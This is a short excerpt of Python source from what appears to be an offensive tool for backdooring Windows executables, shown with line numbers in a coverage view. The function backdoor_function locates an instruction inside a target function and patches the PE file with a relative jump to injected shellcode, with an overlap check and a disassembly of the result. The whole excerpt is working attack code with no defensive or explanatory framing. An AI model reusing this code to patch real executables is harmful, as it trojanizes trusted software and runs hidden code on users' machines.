(self, function_addr: int, shellcode_addr: int, shellcode_len: int)
| 32 | |
| 33 | |
| 34 | def backdoor_function(self, function_addr: int, shellcode_addr: int, shellcode_len: int): |
| 35 | logger.debug(" Backdooring exe function at 0x{:X} with jump to carrier at 0x{:X}".format(function_addr, shellcode_addr)) |
| 36 | |
| 37 | addr = self.find_suitable_instruction_addr(function_addr) |
| 38 | if addr is None: |
| 39 | raise Exception("Couldn't find a suitable instruction to backdoor") |
| 40 | |
| 41 | compiled_trampoline = assemble_relative_jmp(addr, shellcode_addr) |
| 42 | logger.debug(" Backdoor Instruction at 0x{:X} (offset to shellcode: 0x{:X})".format(addr, shellcode_addr - addr)) |
| 43 | |
| 44 | # Check for overlap |
| 45 | it = IntervalTree() |
| 46 | it.addi(addr, addr+len(compiled_trampoline)) |
| 47 | if it.overlap(shellcode_addr, shellcode_addr+shellcode_len): |
| 48 | logger.warning("Attempt to patch jump (0x{:X}-0x{:X}) to shellcode (0x{:X}-0x{:X}) but they overlap and probably dont work".format( |
| 49 | addr, addr+len(compiled_trampoline), shellcode_addr, shellcode_addr+shellcode_len |
| 50 | )) |
| 51 | logger.warning("Text section too small?") |
| 52 | |
| 53 | # write |
| 54 | #logger.debug("Trampoline: {}".format(compiled_trampoline)) |
| 55 | #asm_disasm(compiled_trampoline, offset=function_addr) |
| 56 | self.superpe.pe.set_bytes_at_rva(addr, bytes(compiled_trampoline)) |
| 57 | |
| 58 | # Show Result |
| 59 | #data = self.pe_data[function_addr:addr+len(compiled_trampoline)] |
| 60 | data = self.superpe.pe.get_data(function_addr, addr+len(compiled_trampoline)-function_addr) |
| 61 | asm_disasm(data, offset=function_addr) |
| 62 | |
| 63 | |
| 64 | def find_suitable_instruction_addr(self, startOffset, length=256): |
no test coverage detected